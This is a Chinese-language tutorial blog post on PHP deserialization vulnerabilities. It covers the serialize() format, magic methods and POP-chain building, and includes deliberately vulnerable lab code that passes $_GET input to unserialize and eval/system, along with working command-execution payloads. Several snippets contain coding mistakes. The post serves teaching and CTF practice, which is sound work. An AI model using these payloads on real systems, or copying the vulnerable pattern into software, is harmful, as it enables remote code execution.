反序列化漏洞详解(一)

目录

一、php面向对象

二、类

2.1 类的定义

2.2 类的修饰符介绍

三、序列化

3.1 序列化的作用

3.2 序列化之后的表达方式/格式 

① 简单序列化

② 数组序列化

③ 对象序列化

④ 私有修饰符序列化

⑤ 保护修饰符序列化

⑥ 成员属性调用对象 序列化

四、反序列化

4.1 反序列化的特性

4.2 反序列化的作用

五、反序列化漏洞

5.1 反序列化漏洞概述

5.2 魔术方法

魔术方法简介

什么是魔术方法

魔术方法的作用

魔术方法相关机制

重要魔术方法

六、pop链前置知识


一、php面向对象

面向对象程序设计(Object Oriented Programming,简称OOP)是一种计算机编程架构。面向对象思想的核心:计算机模拟现实世界,解决现实世界的问题。注意:面向对象思想很重要,其次是编程语言的语法。相比于面向过程,两者思想方式不同,面向过程注重功能,怎么一步一步去实现,其程序基本单位大多是函数组成的;而面向对象注重对象,是谁去做这个事情,也就是行为以及状态,其程序基本单位是对象,对象是通过类的实例化产生的。


二、类

2.1 类的定义

类是定义了一件事物的抽象特点,将数据的形式以及这些数据上的操作封装在一起,对象是具有类类型的变量,是类的实例。类是对象的抽象,而对象是类的具体实例。类的想法,把类实例化(new),调用具体值后就变成了对象。

内部构成:成员变量(属性)+成员函数(方法)

成员变量:定义在类内部的变量,该变量对外是不可见的,但是可以通过成员函数访问,在类被实例化成为对象后,该变量即可成对象的属性。

成员函数:定义在类的内部,用于访问对象的数据,是实现某个独立的功能,类中一个行为

大白话解释一下(比较形象):

类和对象的关系:类好比公司让你填写个人简介的表格 有姓名 年龄 等 如果没有人填写 那么这个表格(类)将毫无用处 ,但是同学A 填写了这个表格,A填写完表格(对象)就是表格(类)的实例化 表格实例化成为了一个对象,A就可以拿着简介去公司面试了,否则表格空空 公司看都不看。举的例子中个人信息属于成员属性 成员函数好比表格上写跳舞,电脑的操作者属于面试官 对象属于填写完的表格信息 当面试官查看个人信息的时候 只能看到对象中的属性,这时候面试官看到对象里面写着个人爱好为跳舞,面试官对同学A(执行类中函数)你跳舞吧,边跳舞边说自己的个人信息 同学A就展示动作并说出自己的个人信息(这就是成员函数可以访问成员变量,并且个人信息别人是不知道的),(通过这也可以看出 对象里有属性和方法,属性是可以一看看出来的,但是方法需要面试官主动让你跳,你才能跳) 

继承:继承性是子类自动共享父类数据结构和方法的机制,是类之间的一种关系(也就是说 一个类的子类和类本身是没有什么区别的)


2.2 类的修饰符介绍

在类中直接声明的变量成为成员属性(也可以成为成员变量),可以在类中声明多个变量,即对象中可以有多个成员属性,每个变量都存储对象不同的属性信息

访问权限修饰符:对属性的定义 定义权限

如果定义了权限 就不可以在哪都能调用了

代码演示

<?php
class jianjie{  //定义一个类 简介的表格
  var $name; //定义一个属性 表格中需要填写的
  var $sex;  
  function dance($var1) { //定义一个方法 也就是跳舞
    echo $this->name."<br />";//如果对象为A A跳舞的时候可以说出自己的个人信息
    echo $var1."<br />";
    }
}
$A= new hero();//将类实例化为对象 也就是表格让同学A填写
$A->name='chengyaojin'; //同学A进行填写
$A->sex='man';
print_r($cyj);//面试官查看个人信息 只能查看到属性
$A->dance('tiaotiaotiao'); //面试官知道表格里有个跳舞,面试官就让A跳舞 A就跳舞了
?>
<?php
class hero{
  //三个属性 定义了该属性的权限
  public  $name='chengyaojin'; //公共的
  private  $sex='man';//私有的
  protected  $shengao='165';//私有加子类的
  function jineng($var1) {
    echo $this->name; //可以
    echo $var1;       //可以
    }
}
class hero2 extends hero{ //hero2位hero的子类
    function test(){
    echo $this->name."<br />";//可以
    echo $this->sex."<br />"; //不可以
    echo $this->shengao."<br />";//可以
    }
}
$cyj= new hero();
$cyj2=new hero2();
echo $cyj->name."<br />";
echo $cyj2->test();
?>

三、序列化

3.1 序列化的作用

序列化是将对象的状态信息(属性)转换为可以存储或传输的形式的过程(方便存储和方便传输)

将对象或者数组转化为可存储/传输的字符串

举例:如果有session 会把传进来的参数键值对转换成字符串存储在session文件里面

在php中使用函数serialize()来将对象或者数组进行序列化 并返回一个包含字节流的字符串来表示


3.2 序列化之后的表达方式/格式 

① 简单序列化

<?php
$a=null;
echo serialize($a);
?>

② 数组序列化

<?php
$a = array('benben','dazhuang','laoliu');
echo $a[0];
echo serialize($a);
?>
benben
a:3:{i:0;s:6:"benben";i:1;s:8:"dazhuang";i:2;s:6:"laoliu";}

③ 对象序列化

<?php
class test{
    public $pub='benben';
    function jineng(){
        echo $this->pub;
    }
}
$a = new test();
echo serialize($a);
?>
O:4:"test":1:{s:3:"pub";s:6:"benben";}

④ 私有修饰符序列化

<?php
class test{
    private $pub='benben';
    function jineng(){
        echo $this->pub;
    }
}
$a = new test();
echo serialize($a);
?>
O:4:"test":1:{s:9:"testpub";s:6:"benben";}
//因为pub是私有属性 序列化会在前面加上类名 并且类名前后要有空字符 所以一共是9个字符

⑤ 保护修饰符序列化

<?php
class test{
    protected $pub='benben';
    function jineng(){
        echo $this->pub;
    }
}
$a = new test();
echo serialize($a);
?>
O:4:"test":1:{s:6:"*pub";s:6:"benben";}
如果一个属性属于保护的修饰符 序列化的时候会在属性的前面加上* 并且*前后也会有空字符 一共是6个字符

⑥ 成员属性调用对象 序列化

<?php
class test{
    var $pub='benben';
    function jineng(){
        echo $this->pub;
    }
}
class test2{
    var $ben;
    function __construct(){
        $this->ben=new test();
    }
}
$a = new test2();
echo serialize($a);
?>
O:5:"test2":1:{s:3:"ben";O:4:"test":1:{s:3:"pub";s:6:"benben";}}

整体演示

<?php
highlight_file(__FILE__);
class TEST {
    public $data;
    public $data2 = "dazzhuang";
    private $pass;

    public function __construct($data, $pass)
    {
        $this->data = $data;
        $this->pass = $pass;
    }
}
$number = 34;
$str = 'user';
$bool = true;
$null = NULL;
$arr = array('a' => 10, 'b' => 200);
$arr2 = array2('benben','dazhuang','tzy');
$test = new TEST('uu', true);
$test2 = new TEST('uu', true);
$test2->data = &$test2->data2;
echo serialize($number)."<br />";
echo serialize($str)."<br />";
echo serialize($bool)."<br />";
echo serialize($null)."<br />";
echo serialize($arr)."<br />";
echo serialize($test)."<br />";
echo serialize($test2)."<br />";
?>
i:34;
s:4:"user";
b:1;
N;
a:2:{s:1:"a";i:10;s:1:"b";i:200;}
a:3:{i:0;s:6:"benben";i:1;s:8:"dazhuang";i:2;s:6:"laoliu";}
O:4:"TEST":3:{s:4:"data";s:2:"uu";s:5:"data2";s:9:"dazzhuang";s:10:"TESTpass";b:1;}
O:4:"TEST":3:{s:4:"data";s:9:"dazzhuang";s:5:"data2";R:2;s:10:"TESTpass";b:1;}

注意

切记整型666被序列化后是 i:666; 分号要记住

实例化为对象后只会携带成员属性做序列化的时候 只会序列化属性,成员方法调用才有

带权限输出的时候最好用urlcode进行编码 如果编码为url后就能看到test两边是空字符

s:10:"TESTpass" 明明8个字符 确显示10个字符就是因为空字符的原因


四、反序列化

4.1 反序列化的特性

1 反序列化之后的内容为一个对象

2 反序列化生成的对象里的值,由反序列化里的值提供;与原由类预定义的值无关

3 反序列化不触发类的成员方法;需要调用方法后才能触发(有些同学疑问 为什么反序列化后就能触发成员方法 是因为使用了 魔术方法


4.2 反序列化的作用

代码

<?php
class test {
    public  $a = 'benben';
    protected  $b = 666;
    private  $c = false;
    public function displayVar() {
        echo $this->a;
    }
}
$d = new test();//将类实例化为一个对象
$d = serialize($d);//进行序列化
echo $d."<br />"; //输出一下序列化后的值
echo urlencode($d)."<br />";//进行url编码 能看到空字符的%00
$a = urlencode($d);//将url编码后赋值给变量a
$b = unserialize(urldecode($a));//对a进行反序列化 赋值给b
var_dump($b);//
?>

反序列化后的输出和正常对象的输出是一样的,但是如果将序列化字符串里面的benben改成dazhuang 那么反序列化后的a 就变成了dazhuang 这里老师说了 通过序列化反序列化构造木马很难被发现

O:4:"test":3:{s:1:"a";s:6:"benben";s:4:"*b";i:666;s:7:"testc";b:0;}
O%3A4%3A%22test%22%3A3%3A%7Bs%3A1%3A%22a%22%3Bs%3A6%3A%22benben%22%3Bs%3A4%3A%22%00%2A%00b%22%3Bi%3A666%3Bs%3A7%3A%22%00test%00c%22%3Bb%3A0%3B%7D
object(test)#1 (3) { 
["a"]=> 
string(6) "benben" 
["b:protected"]=> 
int(666) 
["c:private"]=> 
bool(false) }

反序列化为一个对象的时候 这个对象是没有方法的 必须得主动调用方法 这个方法不是对象的 是类的 向类进行借用(类似于系统识别出来你这个对象就是属于类,就可以用类中的方法) 这个时候如果把类注释掉 那么这个方法将无法执行 (其实老师说的也不对 我感觉不能这么理解)因为这个方法里面有输出当前姓名 输出的是我们刚刚修改过的dazhuang。


五、反序列化漏洞

5.1 反序列化漏洞概述

反序列化成因反序列化过程中,userialize()接收的值(字符串)可控;通过更改这个值(字符串),得到所需要的代码,即生成的对象的属性值 ,通过调用方法,触发代码执行(到后面就能明白了为什么叫调用方法就能触发代码执行 因为在类的方法中调用了自己的属性,但是这个属性可以通过反序列化进行更改,也就是说光改变值也不行 需要让这个值被执行 这才能实现漏洞利用)

反序列化漏洞实例

靶场源码

<?php
error_reporting(0);
class test{
    public $a = 'echo "this is test!!";';
    public function displayVar() {
        eval($this->a);
    }
}
$get = $_GET["benben"];//通过GET 传参 传的是序列化后的值
$b = unserialize($get);//把参数值反序列化赋值给一个对象b
$b->displayVar() ;
//本来对象b不属于test类的 但是通过反序列化后系统就会认为b是类test实例化的对象 从而可以执行类中的方法 因为传参的时候已经把类的属性修改为我们想要的代码了 这样就实现了反序列化的漏洞 
到这我也发现有个前提 我们必须要知道源码
?>

传参??benben=O:4:"test":1:{s:1:"a";s:12:"system(dir);";}


5.2 魔术方法

魔术方法简介

魔术方法在反序列化漏洞利用里面占用的比例还是很大的

什么是魔术方法

一个预定义好的,在特定情况下自动触发的行为方法

魔术方法的作用

反序列化漏洞的成因:反序列化过程中,unserialize()接收的值(字符串)可控;通过更改这个值(字符串),得到所需要的代码;通过调用的方法,触发代码执行

魔术方法在特定条件下自动调用相关方法,最终导致触发代码

魔术方法相关机制

重要魔术方法


_construct()

构造函数,在实例化一个对象的时候,首先回去自动执行的一个方法;

触发时机:实例化对象

功能:提前清理不必要内容

参数:非必要

<?php
highlight_file(__FILE__);
class User {
    public $username;
    public function __construct($username) {
        $this->username = $username;
        echo "触发了构造函数1次" ;
    }
}
//实例化user类的时候会触发类中__construct魔术方法
$test = new User("benben");
$ser = serialize($test);
unserialize($ser);
?>
触发了构造函数1次

__destruct()

 析构函数,在对象的所有引用被删除或者当对象被显式销毁是执行的魔术方法

<?php
highlight_file(__FILE__);
class User {
    public function __destruct()
    {
        echo "出发了析构函数1次"."<br />" ;
    }
}
$test = new User("benben"); 实例化对象结束后 代码运行完全 触发一次 创建的时候肯定不会触发 但是对象用完了就要销毁 销毁的时候会触发 
$ser = serialize($test);//不会触发
unserialize($ser);//这里也出发了一次 反序列化和实例化为对象一个意思
?>
这么理解有点繁琐 大白话就是 当实例化一个对象的时候 类中的代码会执行一遍 执行一遍后就出发了魔术方法
反序列化一样的道理
触发了构造函数1次
触发了构造函数1次

析构函数例题

<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
    var $cmd = "echo 'dazhuang666!!';" ;
    public function __destruct()
    {
        eval ($this->cmd);
    }
}
$ser = $_GET["benben"];
unserialize($ser);//解释一下 实例化为一个对象就好比要把类里面的代码过一遍,反序列化也一个意思 要把字符串过一遍,虽然这个值是序列化的字符串得出来的 但是系统也会认为这个对象和类有关属于类里面的 因为类里面有__destruct 从而触发
?>

构造序列化后的值

?benben=O:4:"User":1:{s:3:"cmd";s:12:"system(dir);";}


__sleep()

序列化serialize()函数会检查类中是否存在一个魔术方法__sleep()。如果存在,该方法会先被调用,然后才执行序列化操作,此功能可以用于清理对象,并返回一个对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容,则NULL被序列化,并产生一个E_NOTICE级别的错误。

触发时机:序列化serialize()之前

功能:对象被序列化之前触发,返回需要被序列化存储的成员属性,删除不必要的属性

参数:成员属性

返回值:需要被序列化存储的成员属性

<?php
class User {
    const SITE = 'uusama';
    public $username;
    public $nickname;
    private $password;
    public function __construct($username, $nickname, $password)    {
        $this->username = $username;
        $this->nickname = $nickname;
        $this->password = $password;
    }
    public function __sleep() {
        return array('username', 'nickname');
    }
}
$user = new User('a', 'b', 'c');//触发__construct魔术方法 abc参数自动传入方法之中
echo serialize($user);//触发__sleep魔术方法 魔术方法只返回usernmae nickname 告诉serialize函数 不序列化password
?>
O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}

sleep例题

<?php
class User {
    const SITE = 'uusama';
    public $username;
    public $nickname;
    private $password;
    public function __construct($username, $nickname, $password)    {
        $this->username = $username;
        $this->nickname = $nickname;
        $this->password = $password;
    }
    public function __sleep() {
        system($this->username);
    }
}
$cmd = $_GET['benben'];//通过GET传入参数
$user = new User($cmd, 'b', 'c');//这个GET获取的参数作为对象的username
echo serialize($user);//序列化会先执行construct魔术方法再执行__sleep魔术方法 从而利用了漏洞
?>

构造语句?benben=cmd

这么一看 其实这个靶场就构成木马 传入参数 就会执行参数的命令 学东西越多构造的木马越多


__wakeup()

unserlialize()会检查是否存在一个__ wakeup()方法。如果存在,则会先调用__wakeup()方法,预先准备对象需要的资源,预先准备对象资源,返回void,常用反序列化操作中重新建立数据库连接或执行其他初始化操作。

示例

<?php
class User {
    const SITE = 'uusama';
    public $username;
    public $nickname;
    private $password;
    private $order;
    public function __wakeup() {
        $this->password = $this->username;
    }
}
$user_ser = 'O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}';
var_dump(unserialize($user_ser));
?>
//在进行反序列化的时候 虽然数据是从序列化的字符串中得到的 但是系统识别出类中有一个__wakeup魔术方法 里面对password进行了赋值 从反序列化中得到了username和nickname 从魔术方法中获得了password
魔术方法给属性赋值了 也就是告诉对象你你还有一个值 别忘记了 但是吧这个order为什么会冒出来
object(User)#1 (4) { ["username"]=> string(1) "a" ["nickname"]=> string(1) "b" ["password:private"]=> string(1) "a" ["order:private"]=> NULL }

例题 漏洞利用

<?php
class User {
    const SITE = 'uusama';
    public $username;
    public $nickname;
    private $password;
    private $order;
    public function __wakeup() {
        system($this->username);
    }
}
$user_ser = $_GET['benben'];
unserialize($user_ser);
?>

构造poc O:4:"User":1:{s:8:"username";s:3:"dir";}

输出


__tostring

表达方式错误 导致魔术方法触发

触发时机:把对象当成字符串调用

把类User实例化并赋值给$test 此时$test是一个对象 调用对象可以使用print_r或者 var_dump echo和print只能调用字符串的方法去调用对象

<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
    var $benben = "this is test!!";
         public function __toString()
         {
             return '格式错误!';
          }
}
$test = new User() ;//这是一个对象
print_r($test); //成功执行
echo "<br />"; 
echo $test;//echo只能输出一个变量 但是test是对象 这个时候对象里面的__toString就会被触发
?>
User Object ( [benben] => this is test!! )
格式错误!

__invoke()

格式表达错误导致魔术方法触发

触发时机:包对象当成函数调用

<?php
function dazhaung(){
    echo "这是一个函数";
}
class User {
    var $benben = "this is test!!";
         public function __invoke()
         {
             echo  '这不是一个函数!';
          }
}
$test = new User() ;
dazhaung()//输出这是一个函数
$test() //因为这是对象 当成函数去执行类里面的invoke函数就会执行
?>

错误调用相关魔术方法


__call()

触发时机:调用一个不存在的方法

参数:2个参数传参$arg1,$arg2

$arg1 调用的不存在的方法的名称

$arg2 调用的不存在的方法的参数

 返回值:调用的不存在的方法的名称和参数

当对象调用的方法不存在是 就会触发这个魔术方法

<?php
class User {
    public function __call($arg1,$arg2)
    {
        echo "$arg1,$arg2[0]";
          }
}
$test = new User() ;
$test -> callxxx('a');
?>
callxxx,a

__callStatic()

触发时机:静态调用或调用成员常量时的方法不存在

参数:2个参数传参$arg1,$arg2

返回值:调用的不存在的方法的名称和参数

<?php
class User {
    public function __callStatic($arg1,$arg2)
    {
        echo "$arg1,$arg2[0]";
          }
}
$test = new User() ;
$test::callxxx('a');//这就是静态调用方法 如果这个方法不存在 就触发callstatic
?>
callxxx,a

__get()

触发时机:调用的成员属性不存在

参数:传参$arg1

返回值:不存在的成员属性名称

触发get(0)把不存在的属性名称var2赋值给$arg1

<?php
class User {
    public $var1;
    public function __get($arg1)
    {
        echo  $arg1;
    }
}
$test = new User() ;
$test ->var2;//调用一个不存在的属性 自动执行__get()魔术方法 将不存在属性名赋值给arg1 并输出出来
?>
var2

__set()

触发时机:给不存在的成员属性赋值

参数:传参$arg1,$arg2

返回值:不存在的成员属性的名称和赋的值

先触发grt()再触发set()

$arg1,不存在成员属性的名称

$arg2,不存在的成员属性var2赋的值

<?php
class User {
    public $var1;
    public function __set($arg1 ,$arg2)
    {
        echo  $arg1.','.$arg2;
    }
}
$test = new User() ;
$test ->var2=1;//为一个不存在的属性赋值 会触发__set魔术方法 将不存在的属性名赋值给arg1 赋的值赋值给arg2 并输出
?>
var2,1

__isset()

触发时机:对不可访问属性/或不存在属性使用isset()或empty()时,__isset()会被调用

参数:传参$arg1

返回值:不存在的成员属性的名称 

<?php
class User {
    private $var;
    public function __isset($arg1 )
    {
        echo  $arg1;
    }
}
$test = new User() ;
isset($test->var);//如果不存在或者无权限的属性名被isset函数调用会触发__isset魔术方法 将属性名赋值给arg1
?>
var

unset()同理

<?php
class User {
    private $var;
    public function __unset($arg1 )
    {
        echo  $arg1;
    }
}
$test = new User() ;
unset($test->var);//同理
?>
var

__clone()

触发时机:当使用clone关键字拷贝完成一个对象后,新对象会自动调用一个魔术方法

<?php
class User {
    private $var;
    public function __clone( )
    {
        echo  "__clone test";
          }
}
$test = new User() ;
$newclass = clone($test)//拷贝一个对象后 这个新对象会触发魔术方法__clone
?>

六、pop链前置知识

1 控制成员属性所对应的对象是哪一个

2 遇到有pop链的题目 经常使用的方法是反推法 不能正着推 题目量如果少的话 还可以 一但量大就不好弄了

练习 代码讲解

<?php
highlight_file(__FILE__);
error_reporting(0);
class index {
    private $test;
    public function __construct(){
        $this->test = new normal();
    }
    public function __destruct(){
        $this->test->action();
    }
}
class normal {
    public function action(){
        echo "please attack me";
    }
}
class evil {
    var $test2;
    public function action(){
        eval($this->test2);
    }
}
unserialize($_GET['test']);
?>

反推法的开始就是先找到代码里面的利用点 eval就是整个代码能利用的点

往前推 

1,eval的值通过test2传过来 但是eval所在的函数不是魔术方法这个时候就要往前找看谁调用了evil类中的action函数

2 index类中的 __destruct魔术方法调用了normal类对象test的action函数 

这个时候问题就是如何让test调用evil中的action()方法 

因为反序列化得出的对象的值和类无关 可以自定义

我们只需定义test为对象 这个对象的来源是evil类

解决思路:给test赋值为对象  test=new evil()

有两种构造方法 一种手写poc 一种利用源代码修改生成序列化的字符串

我是真牛呀 一次直接手写成功

?test=O:5:"index":1:{s:11:"%00index%00test";O:4:"evil":1:{s:5:"test2";s:12:"system(dir);";}}

但是吧手写短一点的行 最好还是要利用源代码构造poc 

<?php
highlight_file(__FILE__);
error_reporting(0);
class index {
    private $test;
    public function __construct(){
        $this->test = new evil();
    }

}
class evil {
    var $test2="system(dir);";
    public function action(){
        eval($this->test2);
    }
}
$a=new index();
echo serialize($a);
?>

这是分析代码后确定如何才能执行eval()

反序列化过程: 构造完的poc 反序列化给一个对象A 告诉这个对象你是index类的你里面有个test的属性 并且这个属性属于evil类的 evil(test对象)里的值test2为system(dir) 因为是反序列化在反序列化结束的时候会自动执行index类(对象A)中的__destruct()魔术方法 从而执行action

得出反序列化过程开始使用序列化构造poc

构造poc序列化过程:index类中有test 和魔术方法__construct 当执行序列化后会自动触发__construct 里面的内容是将test作为eval的对象 对象的属性里面有test2属性 属性的值为system(dir)

将poc放到源代码中分析过程:告诉系统test属于evil的对象并且test属性里的test2属性的值为system(dir) 执行完反序列化自动执行 魔术方法destruct 从而执行远程命令

还有一种构造方法

<?php
highlight_file(__FILE__);
error_reporting(0);
class index {
    private $test;
}
class evil {
    var $test2;

}
$a=new evil();//实例化为一个对象
$a->test2="system(dir);";//为这个对象的竖向test2进行赋值
$b=new index();//实例化index的对象
$b->test=$a;//让index的对象的属性等于evil的对象,这道题因为test为 private所以不能再类外进行构造 这只是一个举例
echo serialize($b); //实例化这个$b
?>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/211238.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Stream

什么是Stream&#xff1f; 也叫Stream流&#xff0c;是jdk8开始新增的一套API&#xff0c;可以用来操作集合或者数组的数据 优势&#xff1a;Stream流大量的结合了Lambda的语法风格来编程&#xff0c;提供了一种更加强大&#xff0c;更加简单的方式操作集合或数组中的数据&am…

CTF-虚拟机-QEMU-前置知识-操作流程与源码阅读

文章目录 总览内存PCI设备PCI配置空间前64个字节对应源码Memorry空间的BARIO空间的BAR MMIOPMIOIspci访问PCI设备配置空间中的Memory空间和IO空间MMIOPMIO QQM&#xff08;qemu object model&#xff09;简洁概要将 TypeInfo 注册 TypeImpl&#xff1a;ObjectClass的初始化&…

新款任务悬赏拉新地推本地任务同城地区定位游戏试玩任务联盟众人帮威客兼职任务墙

新款任务悬赏拉新地推本地任务同城地区定位游戏试玩任务联盟众人帮威客兼职任务墙 源码开源无任何加密及授权 后端采用PHPTinkCMF 前端采用UniappVUE 网页端双端APP可封装小程序可对接公众号登录 采用原生混合框架&#xff0c;拒绝卡顿。 https://download.csdn.net/downl…

文件操作--IO

目录 ♫什么是文件 ♫文件路径 ♫文件类型 ♫文件的管理 ♪File的构造方法 ♪File的常用方法 ♫文件的内容操作 ♪InputStream ♪OutputStream ♪字符流读写文件 ♫Scanner与流对象 ♫什么是文件 文件在计算机里可以指“狭义”的文件&#xff08;指硬盘上的文件和目录&…

第一百八十七回 DropdownButton组件

文章目录 1. 概念介绍2. 使用方法2.1 DropdownButton2.2 DropdownMenuItem 3. 示例代码4. 内容总结5. 经验分享 我们在 上一章回中介绍了"DropdownMenu组件"相关的内容&#xff0c;本章回中将介绍 DropdownButton组件.闲话休提&#xff0c;让我们一起Talk Flutter吧…

基于SpringBoot学生宿舍管理系统的设计与开发

摘 要 互联网发展至今&#xff0c;无论是其理论还是技术都已经成熟&#xff0c;而且它广泛参与在社会中的方方面面。它让信息都可以通过网络传播&#xff0c;搭配信息管理工具可以很好地为人们提供服务。针对学生宿舍信息管理混乱&#xff0c;出错率高&#xff0c;信息安全性差…

javaee实验:MVC 框架技术应用——URL 映射及方法参数的使用

目录 urlmvc框架mvc框架的设计mvc流程 实验目的实验内容实验过程创建项目创建项目结构编写代码简单测试一下 url 和 Hypertext 以及 HTTP 一样&#xff0c;URL 是 Web 中的一个核心概念。它是浏览器用来检索 web 上公布的任何资源的机制 URL 代表着是统一资源定位符&#xff…

OpenCV技术应用(6)— 暖色滤镜和冷色滤镜

前言&#xff1a;Hello大家好&#xff0c;我是小哥谈。本节课就手把手教大家如何将一幅图像转化成暖色滤镜和冷色滤镜&#xff0c;希望大家学习之后能够有所收获~&#xff01;&#x1f308; 目录 &#x1f680;1.技术介绍 &#x1f680;2.暖色滤镜 &#x1f680;3.冷色滤…

每日一练:阿姆斯特朗数

1. 概述 阿姆斯特朗数&#xff08;Armstrong number&#xff09;&#xff0c;也称为自恋数、自幂数&#xff08;narcissistic number&#xff09;、水仙花数&#xff0c;是指一个n位数&#xff08;n≥3&#xff09;&#xff0c;它的每个位上的数字的n次幂之和等于它本身。换句话…

AVFormatContext协议层:理论与实战

文章目录 前言一、协议操作对象结构二、初始化 AVIOContext 函数调用关系三、avio 实战 1&#xff1a;打开本地文件或网络直播流1、示例源码2、运行结果①、解决方法 1②、解决方法 2 四、avio 实战 2&#xff1a;自定义 AVIO1、示例源码2、运行结果 五、avio 实战 3&#xff1…

Vivado版本控制

Vivado版本控制 如果您有幸进入FPGA领域&#xff0c;那么会遇到版本控制问题&#xff0c;本文讲解的是如何用git进行Vivado进行版本控制。 搭建Git环境 一 首先需要一个git环境&#xff0c;并选择一个托管平台&#xff08;github,gitlab,gitee&#xff09; Git下载地址&…

【广州华锐视点】广东3D展厅开发服务找广州华锐视点,打造未来展览新体验!

随着科技的不断发展&#xff0c;人们对于信息获取和传播的方式也在不断创新。传统的实体展览馆在空间、时间、地域等方面存在诸多限制&#xff0c;而3D数字展厅则为我们提供了一个全新的解决方案。广州华锐互动致力于为客户提供专业的3D数字展厅定制开发服务&#xff0c;让您的…

滑动平均窗口的定义,优点,缺点,以及目前的应用!!

文章目录 前言一、滑动平均窗口的优点二、滑动平均窗口的缺点三、滑动平均窗口的应用 前言 滑动平均窗口是一种数据处理方法&#xff0c;它以固定的窗口大小对数据进行移动&#xff0c;并在每个窗口内计算数据的平均值。这种方法主要用于平滑数据&#xff0c;减小数据波动的影…

鸿蒙开发学习笔记

快速入门 配置网络权限 1.打开项目的 module.json5 文件 2.在module 里面写下面代码 3.这样就可以使用网络图片了 4.模拟器上就可以正常显示网络图片了 5.官方文档有相吸说明 6. 华为官方编辑工具使用技巧&#xff08;内置文档&#xff09;&#xff0c;鼠标移动到标签上&…

计算机网络扫盲(1)——因特网

一、概述 因特网是一个世界范围的计算机网络&#xff0c;即它是一个互联了遍及全世界数十亿计算设备的网络。大家对此应该并不陌生&#xff0c;我们身边有着不计其数的计算机设备被接入了因特网&#xff0c;如今计算机网络这个术语似乎已经有点过时了&#xff0c;用因特网的术语…

STM32-GPIO

一、GPIO简介 GPIO&#xff08;General Purpose Input Output&#xff09;通用输入输出口 可配置8种输入输出模式 引脚电平&#xff1a;0V~3.3V&#xff0c;部分引脚可容忍5V 输出模式下&#xff1a;可控制端口输出高低电平&#xff0c;用以驱动LED、控制蜂鸣器、模拟通信协议输…

159.库存管理(TOPk问题!)

思路&#xff1a;也是tok的问题&#xff0c;与上篇博客思路一样&#xff0c;只不过是求前k个小的元素&#xff01; 基于快排分块思路的代码如下&#xff1a; class Solution { public:int getkey(vector<int>&nums,int left,int right){int rrand();return nums[r%…

多项式拟合求解

目录 简介 基本原理 例1 例2 例3 参考资料 简介 多项式拟合可以用最小二乘求解&#xff0c;不管是一元高阶函数&#xff0c;还是多元多项式函数&#xff0c;还是二者的混合&#xff0c;都可以通过统一的方法求解。当然除了最小二乘法&#xff0c;还是其他方法可以求解&…

Centos7.9搭建zabbix6.4.0过程及报错注意点

搭建参考此链接即可&#xff1a;https://blog.csdn.net/PerDrix/article/details/129624091 报错整理&#xff1a; 一、zabbix6.0以上版本默认必须安装mysql 8.0.30以上版本数据库&#xff0c;否则服务起不来 二、编译安装zabbix时&#xff0c;必须执行如下操作&#xff0c;…

【STM32】STM32学习笔记-课程简介(1)

00. 目录 文章目录 00. 目录01. 课程简介02. 硬件设备03. 软件工具04. 硬件套件4.1 面包板和跳线/飞线4.2 杜邦线和STM32最小系统板4.3 STLINK和OLED显示屏4.4 LED和按键4.5 电位器和蜂鸣器4.6 传感器和旋转编码器4.7 USB转串口和MPU60504.8 Flash闪存和电机模块4.9 SG90舵机 0…